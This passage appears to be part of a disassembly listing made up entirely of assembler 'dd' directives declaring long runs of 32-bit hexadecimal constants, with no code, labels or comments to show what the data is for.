		dd 4304356Fh, 0A08913C2h, 4A89B8E8h, 820070E6h,	77B49E9Fh
		dd 1E6CBADAh, 89FA365Bh, 38E4A283h, 80857638h, 25171ADAh
		dd 26A16CA7h, 52BB612h,	0A499890Fh, 4202CFA0h, 9B311925h
		dd 1C4E3FAh, 0AF30A88Ch, 0D826350Bh, 6C94B2BAh,	575DD40h
		dd 93AE0003h, 4AA339F7h, 4F004D32h, 452F046Eh, 12CEBA35h
		dd 0B25B7191h, 2B660014h, 1F0CDDB9h, 0CEC4002Eh, 1647A898h
		dd 647837B0h, 9ED57805h, 0A02035D1h, 2C30608Fh,	1E926E44h
		dd 45146689h, 0CD7C9859h, 3ADD016h, 0ABC06094h,	66059F5h
		dd 2DFD3FF9h, 1B445848h, 0BD143B88h, 74C1AEA7h,	98E9F0E6h
		dd 0D7511D02h, 41CAE3AAh, 2A29AAh, 0A7DA2EB4h, 0ACF8F4BAh
		dd 0ECC42F1Ch, 55323300h, 0F829705Fh, 5C0F0088h, 0D471ED6Fh
		dd 5001DDFh, 15D7ABB7h,	0F4711AEh, 29CAF583h, 45F0503Bh
		dd 0D60FE4EFh, 18C08D30h, 0A37F68h, 5690FD59h, 389EF496h
		dd 0CACB6206h, 397A21h,	0D50AC258h, 0A113072Dh,	0D1F22303h
		dd 382AC6E4h, 0C00B220h, 1396B8EAh, 710050AEh, 0C25DDFE2h
		dd 0C07B4F0Eh, 0FDADCC49h, 5E398E6Eh, 8C2A0C13h, 7089BFh
		dd 17813BAFh, 0E199ABCFh, 39404F30h, 1C43EEh, 1D1BF0D1h
		dd 3150510Ch, 0B8367E0Ah, 0DC4498DDh, 0C042E7C2h, 0E733393h
		dd 0DD59E77Dh, 0C45C2178h, 0EBFBF907h, 7FE0C04Ch, 6360C3h
		dd 6FAD7B2Bh, 0D0735DFh, 0F57AA6FEh, 0F7DB7506h, 41E6DCh
		dd 7EEF0938h, 0D2211E39h, 0F7B7C400h, 0FBBB53A9h, 37E85Ch
		dd 0B536827Dh, 0BF207F38h, 90329601h, 0AA425E35h, 0E2D74980h
		dd 50D6CC26h, 2391701h,	0A2DCBC94h, 76692180h, 0BEDF3B6h
		dd 37447F01h, 461840B3h, 0E4F2E040h, 0BC5854FDh, 78A0A48Dh
		dd 0B12F1DD1h, 6D580ACh, 0CE2CD4Dh, 69544EE6h, 0C17C02A4h
		dd 0D776EB00h, 0B638F701h, 6DD90358h, 0E1C6C3C2h, 0A22065C8h
		dd 7C802950h, 6C3F6400h, 0B60B0515h, 46070393h,	0D4CC4558h
		dd 0CDE97900h, 88F5EB50h, 994C60DAh, 31EE464h, 73FCDE01h
		dd 9BDD3A4Bh, 7CBBE180h, 31AF99F9h, 64483Bh, 500E9535h
		dd 104F629h, 84A74967h,	20FCBE20h, 616EF859h, 77540759h
		dd 0E6DC7A93h, 711D0051h, 0C1C2E27Bh, 0E0FD092Ah, 0B9F4FFF5h
		dd 80462039h, 1A0C0791h, 60575E65h, 0BE3739A8h,	2348CAA7h
		dd 1E809F90h, 543AAE7Ch, 684B035Ah, 0E2660D7Dh,	8B7182D8h
		dd 0C0557800h, 0E475F451h, 0F5B288FFh, 24B54600h, 0EA565484h
		dd 0CF8E010Bh, 2BC57C9Ch, 0F298144h, 838CD031h,	0A050BDC9h
		dd 997776Fh, 24CE434Ah,	27CFCC18h, 5C78EB0Eh, 5515802Ah
		dd 0E9173C9Ah, 3CEDDE4h, 26A5367Bh, 2FFBE492h, 725488D4h
		dd 58392507h, 0D721C9FEh, 0A0F4F1ECh, 0C5060023h, 1EE16E75h
		dd 0C100367Ah, 7CBD4631h, 0C0AB5B5Eh, 7BE2DD41h, 1C914FF3h
		dd 31AC402Dh, 3ABE7BFDh, 0E4021E08h, 759477A3h,	0CCD5B283h
		dd 5054C0C9h, 0DE74CE88h, 405EB30Ch, 604E599Eh,	0D2295176h
		dd 90001853h, 2DF6A1F9h, 0CB4403h, 45BEEC19h, 0E3DD9C0Ah
		dd 811A1502h, 469A33C4h, 0E2CF00F4h, 2BB6E90Ah,	14987663h
		dd 2FCA3114h, 9D9180E4h, 7CAD7F7Bh, 0C02252A3h,	73D45802h
		dd 64400A66h, 449834BCh, 0C391A500h, 0F5B921F8h, 575F003Fh
		dd 897B0517h, 360074BEh, 4DA1CBCEh, 0A83C4Ch, 46F35AD6h
		dd 0C912585Dh, 45881E3h, 595EACFFh, 0D8383832h,	0CA8088C8h
		dd 70871A9h, 65D1DC03h,	0E836EF8Bh, 15D52A1Fh, 0FCDB8D95h
		dd 448E9200h, 634EB525h, 512B9C0h, 0D47AE7h, 41969B4Dh
		dd 137935EBh, 0AEDC9D18h, 992C71h, 45BB500Bh, 4624802Dh
		dd 36CFEF00h, 0E967FDB0h, 0CDC22638h, 577D090Ch, 0E68001DFh
		dd 2890AEDh, 401896F8h,	250028E0h, 0CF2F0714h, 676273h
		dd 7F827280h, 4EEF4494h, 80A16C6Eh, 0C9DC8CF5h,	3B0F00ABh
		dd 78252B12h, 0D89064E1h, 0E02C9C78h, 1E120838h, 0C78D9C61h
		dd 587F7180h, 0CD30F296h, 51003D76h, 5A110812h,	11DAA24Ch
		dd 0F6E4E2Eh, 8738EE49h
		dd 4F70A0A8h, 0DC2A45h,	263D587Bh, 0C98C3720h, 0D75D59C0h
		dd 75C8C35Fh, 760E673h,	2A370E81h, 8021A7B3h, 0C36CBF0Fh
		dd 6EC931C0h, 3A9271h, 43010D6Fh, 7ABA30C4h, 0EE375000h
		dd 0FFF26775h, 0DAA240DDh, 20585100h, 2AD31C79h, 0FB2107B5h
		dd 0E6A9C725h, 1D05E960h, 0CF27BECBh, 2C38800h,	0F0363C46h
		dd 0A7050A0Fh, 0CC99F0h, 0C2378717h, 15F0F312h,	0D7E3B800h
		dd 0E60CF4B3h, 98183054h, 717B2028h, 0F04F9E28h, 20BA004h
		dd 4082903Dh, 448029ADh, 7DDE6094h, 0E5DC851Ah,	0E86DC19h
		dd 11C0E6BDh, 825FF0F1h, 0A345B300h, 57C327FCh,	0D7E13F73h
		dd 3366CA00h, 1C6CAED0h, 1BC23005h, 0C440784Eh,	2CEB01F0h
		dd 0B87471CBh, 9B544408h, 24BEED03h, 0A9585Eh, 7862179h
		dd 0D4E2B81Ah, 7906FF79h, 614F2C67h, 75A14C51h,	4A8D8500h
		dd 7258EFACh, 204E782Eh, 579DD040h, 0CEB5009Fh,	0D5287646h
		dd 30589907h, 93CB3BDCh, 0F023415Eh, 8E1AD0E4h,	2A13F36h
		dd 0CF638483h, 2101ACDCh, 699ED2D7h, 0CC41537Eh, 46301CC1h
		dd 374501A2h, 8C36BE6Fh, 0D20C24E2h, 7638C200h,	8D2A8364h
		dd 6319C0C8h, 1DB36AA5h, 4A70DD00h, 92D304A3h, 0BDA901EAh
		dd 0D7B69C6Ch, 0E4B8314Dh, 9D002B6Dh, 0D4777D42h, 28EB1B57h
		dd 0A8CB220h, 0E9C32804h, 25276FB0h, 0D4CBDE1Dh, 183D4498h
		dd 55FCC400h, 95917231h, 0D19E04BAh, 0C0D60C41h, 0C0C24628h
		dd 0D0607A89h, 0E37D3E7Bh, 19E4E73Fh, 0EF78C075h, 0BF064A4Fh
		dd 474E7A42h, 763C0079h, 9CCB6095h, 8D28B9DEh, 0EB028F8Eh
		dd 0C08013A3h, 0B04486h, 9812DAC2h, 8EE934ECh, 16143D00h
		dd 0F6375FA4h, 774F04C6h, 4EBC6CC8h, 0D2A6C08Bh, 1463210Ch
		dd 0E0D5AE5Eh, 9F6F5400h, 6498105Dh, 0DD5A141Dh, 789DEFC2h
		dd 50D46191h, 5FB830h, 0E6D434E9h, 0C297F0FBh, 1957D109h
		dd 0AE2CB03Ch, 2D0412F8h, 0A4EC208Ch, 5A0033CCh, 0E218785Dh
		dd 0B68105Ch, 0DFD165FAh, 0C04A890h, 8773D872h,	819085E8h
		dd 9861A701h, 8D9C0224h, 0BF00DC62h, 0BA808367h, 7D2E86B9h
		dd 2460B4EFh, 7C23D533h, 665005Ah, 0B56D77F9h, 5F02E518h
		dd 0B9B035DEh, 178861BAh, 54CC5421h, 797D3C49h,	140F124h
		dd 6C862004h, 250217C7h, 595CC051h, 101B3A5Ch, 212F0E00h
		dd 6157AB81h, 7A3FF973h, 944980EDh, 0C43A6C54h,	68066209h
		dd 0A8524ED6h, 577B2D00h, 0DE725671h, 0A0660030h, 8A55C7A4h
		dd 978BA2DCh, 25E0CAC0h, 0B9DD0096h, 0E357FB17h, 48F745FCh
		dd 2831C384h, 53E15979h, 0CB64C70h, 852050F4h, 220A55B0h
		dd 0B4D03D24h, 8C719861h, 0B9F7FCh, 0EBFE3ABDh,	8595020Fh
		dd 675E7500h, 0F3359F93h, 80889192h, 4FA0816Ch,	0EF01035Fh
		dd 0B354F1BFh, 0A8C374E9h, 988B085Ch, 1238E6B0h, 1DCBFD58h
		dd 0EBE3442Ch, 108CC8DCh, 8023B03Fh, 522590D0h,	0C066DFBFh
		dd 0CC20DC99h, 9307C370h, 0BA122960h, 0EF011C21h, 11D3420h
		dd 3DA37B9h, 2029DD28h,	3560A44Ch, 9FF26FE8h, 29EE81Fh
		dd 0D9D022D4h, 0D8605F3Ah, 7630555Ch, 0DF6128A8h, 0CF71C042h
		dd 1D806419h, 8904301h,	0D8276BC0h, 2177DFh, 0C1CD8E32h
		dd 0D22052F4h, 84210604h, 1C85E730h, 0C15384h, 0E023FD2Dh
		dd 338C100h, 8AFCF345h,	91BE2C00h, 7E0D5E3Eh, 265F02F2h
		dd 499E1607h, 46DDE860h, 0E8DEC329h, 0CEB97C00h, 0C1624F85h
		dd 2667BE51h, 30C0FCD9h, 497739h, 0A8F2B048h, 0BE73A2h
		dd 8D7ECCEh, 6E2B83F8h,	0D6753E00h, 9EB68750h, 84952693h
		dd 60270044h, 547C3597h, 8C5C5971h, 4E6807Ch, 12200D44h
		dd 942BE3E4h, 92F482F8h, 4555B482h, 31074BC3h, 3D376C3Fh
		dd 0AC88CD71h, 0EF16FFCh, 57E475F5h, 1A0F20F4h,	0CD80DE9Fh
		dd 0D23746D6h, 40123600h, 0EE39DD03h, 7FE8E0C4h, 404F4A2Ah
		dd 0C1509B50h, 7C0130E1h, 6EA98BAFh, 79F4AA32h,	61AE04B3h
		dd 0C41BBD45h, 0C36004B4h, 2A40A42Ch, 37806CB9h, 66E9CD46h
		dd 0DFA00D4h, 0F22DCF1Eh, 0BE7DD0CBh, 8C7F6507h, 2FF64F22h
		dd 0CCBF1BE8h, 35B8C15Ah, 3650163Ah, 85008697h,	6609B942h
		dd 0F3B7254h, 0DFB130E6h, 1CC231F8h, 0D13E45FAh, 3415C65h
		dd 8C22AE28h, 0E19107CEh, 0E0417C5Fh, 31A47E09h, 6C1D6600h
		dd 7DCA6DAFh, 74F14CA6h, 3B05C522h, 206C7173h, 881C01BFh
		dd 0E85B316Eh, 68909D76h, 0F52A5F01h, 0F4A2207Bh, 130D74D0h
		dd 0D04ECD62h, 2232820h, 0D3EF1A04h, 708CCC56h,	7E85002Eh
		dd 0BBD7A3E2h, 0CDE20C09h, 0A692F200h, 0CA84AA21h, 6F449E22h
		dd 3C37DFE0h, 910F4D59h, 45C460Ch, 0C0CC759Ah, 0DF6D0036h
		dd 1F86D0AEh, 0B9007167h, 2153E492h, 13E16B91h,	204FA1CDh
		dd 0C9BA432Ch, 5F1B7B05h, 0C480D6EDh, 0CA337FFh, 0D020C572h
		dd 0F0C0CA29h, 0EAD45DB9h, 130749Ch, 0E251E103h, 107F4E4Ch
		dd 0F0B8302h, 0DD99C749h, 0CCF51645h, 38006E3Ch, 0F293AE10h
		dd 170B29BDh, 213C5E30h, 60D52094h, 0A006B70h, 0CF218375h
		dd 0F31307h, 10883D97h,	0CD8755F6h, 0F7AC1501h,	0F4D437DEh
		dd 1D3A80C4h, 0C4C321AEh, 8C177CCAh, 800B344h, 0CCC99131h
		dd 1A6DE95h, 67FEDA10h,	0DE09E250h, 0F61C3859h,	65DCD807h
		dd 0A08452E3h, 14DB48h,	757BF369h, 0B046AF5Dh, 803CCC48h
		dd 537064C0h, 1A99001Dh, 0DFA3659Eh, 0C4448D69h, 0AEF600E7h
		dd 90C81F83h, 0B9010C1Ah, 0D96721DBh, 72E5374Ch, 256165CCh
		dd 9CA9C0E4h, 9F1C8C44h, 0D4C44D51h, 5A407B4Eh,	0B8DD15B3h
		dd 18EF363Bh, 6D3951CCh, 0EC6AFC3Ch, 0E35C39B1h, 72F24480h
		dd 7C3BD9D4h, 7B75E002h, 98575F77h, 4A5EA1BCh, 0B8A02042h
		dd 0EF4C1B3Ah, 0A35A189Eh, 0C07D4E19h, 48F69D81h, 1DFCC08Fh
		dd 3AD3700h, 72502685h,	0E7322ED6h, 6DF1861h, 6090A5A8h
		dd 0C014FA48h, 3C4E1CCh, 12803956h, 0F079807h, 0A486A453h
		dd 434CA83Ch, 81B80BDAh, 76FB80CBh, 79E7D45Bh, 7AAE1C8Ch
		dd 4A8A8271h, 0DC469298h, 0CBD1A307h, 0E0601783h, 1CBE6CA8h
		dd 4B0F1F24h, 500FC2B6h, 42901CB6h, 0D67AFE7Dh,	1EFA84C6h
		dd 0B56FE504h, 0BCC29358h, 6E5520DBh, 58901D70h, 0E0232F5Ah
		dd 8B48B05Fh, 5E9B0916h, 0F880F82Ah, 588D0F15h,	2412D439h
		dd 0A400A0BFh, 416D6357h, 20AF4B5Bh, 5E48A1A4h,	58D31400h
		dd 0BCDB7D57h, 0FFA31FC5h, 45CE3E9Ch, 88614EACh, 7A1C6E74h
		dd 0DF80E1BCh, 70D172A1h, 3258E4h, 7E755280h, 0A30F8B0Bh
		dd 0A2F4BEF6h, 0E0F5966Ch, 514318h, 9702034Eh, 0CEC82774h
		dd 3823CA26h, 0EC703440h, 20F85BE4h, 0C1D31A74h, 0E0C09CB0h
		dd 0CFB6F11Eh, 0DC4D3936h, 80747D9Dh, 77954611h, 0C1548D23h
		dd 5F300A90h, 0E59A60BDh, 29180B39h, 4480CC7Ah,	202C3D30h
		dd 8BA30E3Ch, 78E1D7h, 45FEC1ECh, 9AB300D6h, 94755F54h
		dd 9C13FBF9h, 0A8C8C531h, 0EB68705Ch, 24D8E8h, 6E369F3Bh
		dd 2D4BB6ADh, 0EE406201h, 6CCF338Fh, 79D848h, 1B7F8743h
		dd 2301ADBBh, 5E37B009h, 0E480103Dh, 361DEECh, 673676D5h
		dd 0EC07ABA7h, 0AA97A07Bh, 9960DCFFh, 0C1A41931h, 0E4291C7Ah
		dd 69C3C759h, 7E6C80DFh, 6304EF8Dh, 0A8555E84h,	6A103740h
		dd 0D09E2ACAh, 0DED701BCh, 3F5FD21Bh, 7E00A9BEh, 0E481AE4Eh
		dd 0C82C1358h, 0D411BCE2h, 8720D20Dh, 0BA2C10B8h, 56003FE6h
		dd 6F0C05E1h, 0A0C6E45Ch, 905F1CD8h, 0D030040h,	0CCA5121Dh
		dd 3899DFBAh, 495E1403h
		dd 486298BEh, 547A078Ch, 409D6A51h, 84BD154Dh, 0F088FE60h
		dd 2CC25DBEh, 8D70Bh, 292416FBh, 0FF4EE474h, 5D5FC40h
		dd 188BC639h, 0E9454F6Eh, 710BC451h, 3BDDF6h, 0DC11D9DEh
		dd 0D2070E6Fh, 9032D898h, 0F5EDE94h, 10F1450Fh,	5790E005h
		dd 7E89A5FDh, 0ED4624F3h, 67760CCh, 301C807h, 6CF98757h
		dd 84F0F1C7h, 4C301D1h,	0CA2936DDh, 13603220h, 890C245h
		dd 1F5F5Ah, 57604170h, 0A7F0A08Ch, 6F54A301h, 39D42059h
		dd 40E04C57h, 1350D5h, 44E44C64h, 75FEF514h, 0A274C501h
		dd 0BA21CFC2h, 9801F825h, 4306224h, 32832606h, 0FC82084h
		dd 7824F1Ah, 0D8D16F02h, 0FE008C52h, 0C3751F8h,	14ACD574h
		dd 0B86EEC1Eh, 60F4122Ch, 3309AD18h, 82BD0500h,	0E5759C29h
		dd 1487F4Dh, 1463B32Ch,	107F4E26h, 11E32E0h, 0CABF67F0h
		dd 228C3541h, 10C70BD0h, 7EF90062h, 2478EB80h, 0C02C0F08h
		dd 0CAEA15E4h, 81402858h, 57A71258h, 161427C4h,	1EA5F641h
		dd 0DF70C690h, 9A0339AFh, 0A66CC751h, 9EF2FEA4h, 70F6A764h
		dd 0CA0BA200h, 135079AEh, 404DF8E1h, 0FC0F5A98h, 49C0A1DCh
		dd 29A20169h, 0E2405CA9h, 3EF8C028h, 808B6C54h,	0E01236C5h
		dd 0CC00E446h, 0DB4E3572h, 2FE13E22h, 9C20DD11h, 576F82A1h
		dd 0D2C5E507h, 66A0B34Fh, 7D3A35h, 0C77F7B83h, 8267A31h
		dd 0DE2B8400h, 7585F373h, 9F57178Fh, 0A5E0CCC4h, 15B06600h
		dd 0EBFD50D2h, 0F1CD0063h, 0AD799C3Eh, 680A1607h, 8C5B5E64h
		dd 6082DD44h, 27F020D5h, 7403F537h, 85CF24BAh, 0D1B64Fh
		dd 0FB68EE39h, 0B10FE5ABh, 68E02FE9h, 2EE21Eh, 546E7E63h
		dd 0CA47C259h, 0F22F3801h, 67CC8746h, 448F8451h, 0EAE534DCh
		dd 2E0D0BE4h, 0C804553Fh, 1C74D8E7h, 79607402h,	5228C32Ah
		dd 8C9211E8h, 0E05600C8h, 336D671Ah, 530500DCh,	0D1226A8Eh
		dd 0D21F65A6h, 1A530C6Fh, 4206C10h, 4FE8C337h, 0CD4488h
		dd 8422625Ch, 0E5B463BCh, 0D675F50Bh, 850C42E2h, 4A806D8Ch
		dd 1D208B9Dh, 0C0CAF3C8h, 0A8F5D5B9h, 0B11789F1h, 58089075h
		dd 7A7882A9h, 58445B5Fh, 28E2CD0Fh, 63528375h, 34C100C6h
		dd 27A3F7E1h, 88002F84h, 0F4CE4408h, 5F64C54h, 0D8E2DBD3h
		dd 7288405Eh, 0F5516F79h, 280CD1Eh, 50AC7A00h, 5294C1E6h
		dd 6A01B0DFh, 0E0D27F8Ah, 77942093h, 0DC21C54Ah, 83D2EF45h
		dd 58595EF0h, 7867B889h, 1C57C0EDh, 99D47Eh, 9870AA80h
		dd 0F602DDEAh, 7E6FE03Ah, 7409956h, 1035A17Bh, 7DA3AA99h
		dd 95B8207h, 71D379B1h,	80F6E2E2h, 75162680h, 0D9741C30h
		dd 0A73742B3h, 5C56F9E4h, 63804862h, 2ECE854h, 8794B6DDh
		dd 0B009498Dh, 86A09F7Ah, 34BDA102h, 51CB0429h,	5617014Ch
		dd 34357F84h, 2FF46B68h, 5759D3Ch, 0D63D9916h, 42E5A830h
		dd 86020712h, 0D0822E40h, 0A4D63C14h, 62BF1F09h, 78C4C8D9h
		dd 70A10020h, 98E77482h, 0EE004E54h, 5006AB8Ah,	0FEE1632Ch
		dd 0B8D150CFh, 37CA2103h, 4F6C13BBh, 0FE510820h, 0A81900DCh
		dd 5CC00DF5h, 0B1027216h, 21EF7042h, 0A25CE811h, 80662875h
		dd 0A72B3AD4h, 870C0704h, 0E4A21Eh, 604F10D4h, 0E09AC6h
		dd 0FC2BCBB3h, 3E9F2D46h, 0BC871B28h, 0D47A271Dh, 3157C0Eh
		dd 0AA3769h, 0BA8776A8h, 55547035h, 4A5EDF3Ah, 0F1CEB820h
		dd 21FD2DEBh, 7810B410h, 4398E377h, 0DCF59D12h,	0CD9AC491h
		dd 0F1E65E80h, 2C0D1028h, 489DF730h, 28EBE82h, 277AF57Fh
		dd 2CC45BD8h, 590022EEh, 42233C26h, 954C9Eh, 2E60B610h
		dd 0D418B961h, 0FD6534B0h, 98825CC8h, 0CC002944h, 3D84F0EBh
		dd 4BC8BE05h, 0C7CD89h,	28A0F480h, 13EE1DD5h, 2792C235h
		dd 7064CC46h, 96D1F300h, 9CD09E7Ah, 4A3F006Fh, 0B34694A5h
		dd 0FF0068FBh, 319BA3FAh, 0A6E5A7h, 6D2A4578h, 844E1CE7h
		dd 79AAC918h, 6F25E030h, 85003891h, 0A8E5B8Fh, 94102160h
		dd 0C0B2615Fh, 0B5325959h, 43FC026h, 93416041h,	187865h
		dd 0F4ABE3CFh, 0C7F54C6Eh, 8DD08F00h, 0F8068925h, 29C907E9h
		dd 0B3CCEBBAh, 6107492Ch, 6351BCC6h, 60987AC0h,	8E960A85h
		dd 40422Fh, 934D7F78h, 0C328D775h, 62015C40h, 0B05916FEh
		dd 3220630Ch, 403318E4h, 364A2195h, 7203233Ah, 0D7000190h
		dd 52071176h, 1C5FC26Eh, 804DC88Fh, 0E8F0D4B8h,	55018DD3h
		dd 0C0EFBA9Fh, 4996E340h, 651300FEh, 9963BF69h,	0CD122E03h
		dd 0A3EDA105h, 5A04B07Fh, 678503B8h, 4C785629h,	0BE051D8h
		dd 4EAC9054h, 6F268A18h, 0A9D8270h, 0B63356EDh,	0B59C80ACh
		dd 0D8164B47h, 14BBE90Ch, 0FC2739ABh, 90D27ECFh, 35B80061h
		dd 0B17532E8h, 0BBFB4F36h, 0B7B683C1h, 3AC14DDh, 40162339h
		dd 0CDB0C133h, 4B54118Dh, 5A00A3A8h, 0B1FE55FBh, 9AEEECCh
		dd 5B0337A6h, 0EB59BE00h, 0D2002ABBh, 256A3274h, 1AF68BAh
		dd 0CCA3DA97h, 22A9C684h, 44363A1Ch, 3EE94C39h,	0C0118230h
		dd 0C2012157h, 40113808h, 7AD00F8Fh, 0F92A05A3h, 0C1717523h
		dd 0ECE8EFAAh, 0B93FA919h, 516E14B2h, 100924C4h, 9622E940h
		dd 70F80054h, 78387AE4h, 32EC9D9Bh, 6039717Dh, 761280D3h
		dd 4F08508Fh, 33FC0DD2h, 31A9AB41h, 27476095h, 2A0C5B78h
		dd 0A9AE13DBh, 0A403019Dh, 4BE86EEDh, 5BD1808Ch, 0C09971Dh
		dd 0A6870062h, 8F454AE7h, 0F607F2D2h, 73BB6693h, 44058D72h
		dd 46C60054h, 324D982Ah, 77300DD9h, 1D63C8EFh, 0BE083E7Fh
		dd 23316900h, 0C97BBD85h, 240628FEh, 8707BADAh,	8C120091h
		dd 53F736E6h, 8600D6AEh, 13E985EDh, 308D3569h, 4E72507Dh
		dd 990764C8h, 54A2C998h, 4C329010h, 761B0F85h, 4F803A6Dh
		dd 0A7DE840Ch, 0C3C884ABh, 4A306880h, 76A3E9B4h, 7EBE02BBh
		dd 8616DCFCh, 12B20C61h, 6BAC81B6h, 0DAF11076h,	30E0A848h
		dd 0DDB19234h, 7D066D6Fh, 1FADE93h, 0D3148040h,	0E73204FCh
		dd 84D74B6Ch, 0AD5880B0h, 8289371h, 1442A08Bh, 61705F01h
		dd 418EC484h, 80801320h, 7DD21B69h, 530373Fh, 7CA1C152h
		dd 0E6CA80A8h, 5300B307h, 7D8E8B6Ah, 71DDD298h,	0E31C0F55h
		dd 70006212h, 16334B49h, 295F9E13h, 432A6820h, 0C422FBE9h
		dd 531516h, 0B2149AF9h,	0BD099BC9h, 0E1EEB5h, 21B14CB4h
		dd 0BE4300E8h, 74ADEF7Bh, 0D900199Ch, 0A9B9429Bh, 506AEA62h
		dd 20699CCCh, 0A644E11Eh, 5C660370h, 0AD1486F2h, 4F6BD900h
		dd 96E19C08h, 7840F9D3h, 0F401D6BFh, 5AFA02h, 0DB73487Bh
		dd 9DAA763Eh, 0E4015EB8h, 70BF2757h, 0F9CC1532h, 1E376C4h
		dd 4D8482C9h, 0D71465DAh, 0CAD75100h, 8F2FE4C3h, 0A4603E4Eh
		dd 0F3640487h, 5A9B40E7h, 8617BF63h, 1019703Ah,	84C05840h
		dd 0C1A460A1h, 0E9F67E33h, 9A777101h, 86149674h, 8DDB618Eh
		dd 6E292BA1h, 0F5DDC40h, 0DDF1CB02h, 4428E0E8h,	0F01300B8h
		dd 0AA986E04h, 56E66B1Ch, 8F6187F9h, 454302BEh,	9AAD88D9h
		dd 57EC0386h, 52CB9640h, 80682939h, 53AE7FFBh, 60EDE2C4h
		dd 89A104E3h, 3B2A2B35h, 99007C68h, 53A0B2B4h, 0E255BB6h
		dd 72246B2Ch, 0FD17E260h, 0D3139F08h, 7A0AB89Ch, 7820D803h
		dd 42C6E000h, 213AC951h, 0A24A3E55h, 3E4C1A40h,	0B8E70037h
		dd 8AD8DB20h, 3A6100A1h, 7EAD654Bh, 1C00930Dh, 0A3C93301h
		dd 0E3D26430h, 0EA204C50h, 0E4FA07A5h, 0D049C204h, 2E664722h
		dd 80253B3Ch, 0DDC9E6BAh, 0B04375D3h, 7AE70E6Ch, 7B8263B8h
		dd 4C3969Fh, 2823A1B8h
		dd 427E4816h, 0E999B005h, 8E8C5440h, 14C6BC1h, 3EE7D869h
		dd 0C856EF38h, 870B3B94h, 3B6A19Fh, 0F30978h, 7059BBF0h
		dd 54DA337Fh, 0B7320400h, 86559396h, 80F099D9h,	0F7E08C8Eh
		dd 57EC279Bh, 0CF59900h, 0FCDEA03Ah, 84225839h,	30340216h
		dd 0BFE71FA4h, 2C7DF17Dh, 0FAB9E800h, 0DB6F4D0Ah, 0B81D486Eh
		dd 91A5D09h, 0E0172301h, 7A343230h, 1F329F48h, 2A14777Dh
		dd 5E7F040Ch, 0D0817A1Ch, 7EE5F768h, 0A9001072h, 13D6E70Dh
		dd 1D260903h, 840F106Ch, 0C05900CCh, 50926E4Eh,	39745041h
		dd 0A1000751h, 6B49BBE2h, 2501CB26h, 0B3286450h, 0CC62F9E0h
		dd 0A5DC850Ch, 590F2239h, 0B54A117Fh, 0E7D100BCh, 0CCE25CECh
		dd 38C7B089h, 4B823271h, 0F781227Ch, 10A850C1h,	1E0A7F30h
		dd 940190CBh, 0A40B8471h, 64247250h, 8CF540E0h,	5DE562h
		dd 4ED11059h, 0C0C33D9Eh, 40F43716h, 1D75CC20h,	0D8811F31h
		dd 71E74299h, 0C4400F3Eh, 0C86051C6h, 0A489C4FCh, 3CB111h
		dd 45D93739h, 9200A79Eh, 43485DEAh, 1235CCh, 0D72CA16Dh
		dd 0A08459DEh, 38289091h, 7056410Bh, 0D01D8A1Fh, 0B044D180h
		dd 5D5A6EFh, 0F6155224h, 0DAC501FFh, 48DF84D2h,	893E779Ch
		dd 7C044C34h, 800009FFh, 3B658CDh, 9B7A90Fh, 2808C020h
		dd 8055AA75h, 0ABDE2A71h, 5A008DA5h, 9F6D1108h,	0D7FD7Bh
		dd 0C799D12Bh, 1F566E09h, 0B682F899h, 20AA4A15h, 0FBD97D1Eh
		dd 2196900h, 10E93B25h,	84FC0CCCh, 4B91E2C7h, 6DAB18A0h
		dd 0DBF3500h, 0AF5B0430h, 0D05209D6h, 9848CBE1h, 0F87753F3h
		dd 0AB683800h, 9CD27135h, 4ADB1846h, 57E549A7h,	0DFE7FF00h
		dd 679D559Ah, 0E041525Dh, 0A14017Bh, 0AA6A2C86h, 3859935Eh
		dd 0CAFA9100h, 34E7ACFh, 9D834EBh, 26A82F3Eh, 4D0BFC9Fh
		dd 1F21AFh, 3383271Eh, 0EB9E072Eh, 0A03A7F7Bh, 0FE8D478Ah
		dd 0FD7EE2F8h, 271CBC00h, 0D42AD64Fh, 0FB4A00C9h, 3E138A4Bh
		dd 80FFB623h, 0CF754F48h, 18CC2E62h, 6154208Bh,	2B1D16BEh
		dd 19807249h, 48F5B1C2h, 135E00E7h, 392658D1h, 0B67FF69Dh
		dd 791549C0h, 2A5ADAD2h, 3A304A2Ah, 0FEF39Ah, 352CA022h
		dd 60210F86h, 0B2B169C0h, 0AAB8DCh, 48C4A922h, 6BDAA8BBh
		dd 37D48806h, 30490E9Dh, 66D11DBEh, 360EA1C4h, 0E0DDA9FDh
		dd 862172C0h, 900E3BDFh, 8181129Eh, 0B717E822h,	9941801Eh
		dd 74E17C5Ch, 0DA500C48h, 0AF5138BCh, 60845601h, 862DE318h
		dd 0C01D20E4h, 8F45EAA1h, 3372296Fh, 8D00667Eh,	0DFA1B3CFh
		dd 1EA6A9D8h, 9F10C265h, 0E08640C0h, 5AA311E1h,	343541C0h
		dd 7FA54CC7h, 220600DAh, 468BD333h, 81DC15A8h, 0B0350287h
		dd 0FDD0890h, 95A300E6h, 4520B570h, 6A7FFC42h, 90604FB8h
		dd 0CC8C3C50h, 1C00122h, 0C295D4CFh, 248143A0h,	850E507Bh
		dd 60066187h, 38FB6B35h, 0B0406353h, 0F2D1FD45h, 9C8BC474h
		dd 5E12BF1Eh, 0F8C03977h, 0E0E2369h, 80C5852Eh,	65E0ADE0h
		dd 0EA3E494Ah, 8C468EB7h, 0D84DA0C2h, 60182F2h,	0A11C884Fh
		dd 5E30D10Bh, 54E45139h, 0B9100081h, 0ED3B6DC7h, 4A006443h
		dd 0BCBEA4F9h, 30881C89h, 1030286Fh, 9CA86BBFh,	0DCA924B7h
		dd 1D72F8A4h, 0E8E42916h, 8A90BE00h, 55321h, 0B36C3512h
		dd 0A676CE2Ch, 24002E7Ch, 0AACFF39Fh, 3B0A811h,	3D09AD51h
		dd 0A10017BBh, 7BC02F91h, 784EF8h, 1A7F87AFh, 9BB6326Bh
		dd 0D0CECF37h, 574007B4h, 0D734DF10h, 0A9E47473h, 861F2EF0h
		dd 0C3AD4CBh, 0B96220D0h, 0F30006Ah, 5C1182Ch, 0D304D8BFh
		dd 5194634Bh, 23670C82h, 0E1000DB6h, 1FA8CAA2h,	3D33C20Eh
		dd 9B13C8C7h, 0C05F1E91h, 0ACBD656Eh, 81540647h, 0F8A10194h
		dd 6022BBh, 1FD87C37h, 0F82FB8E3h, 0AE19C016h, 0DCBE976Ah
		dd 0CEB7550Eh, 5601DF31h, 0CFE8834Bh, 12B1B70h,	0E079A313h
		dd 0EC89ADABh, 2148F2D1h, 3F78E60h, 0D1A1ECFEh,	81802584h
		dd 0AA9CE85h, 6F002FDDh, 1817F2DEh, 182EB234h, 29D1BB22h
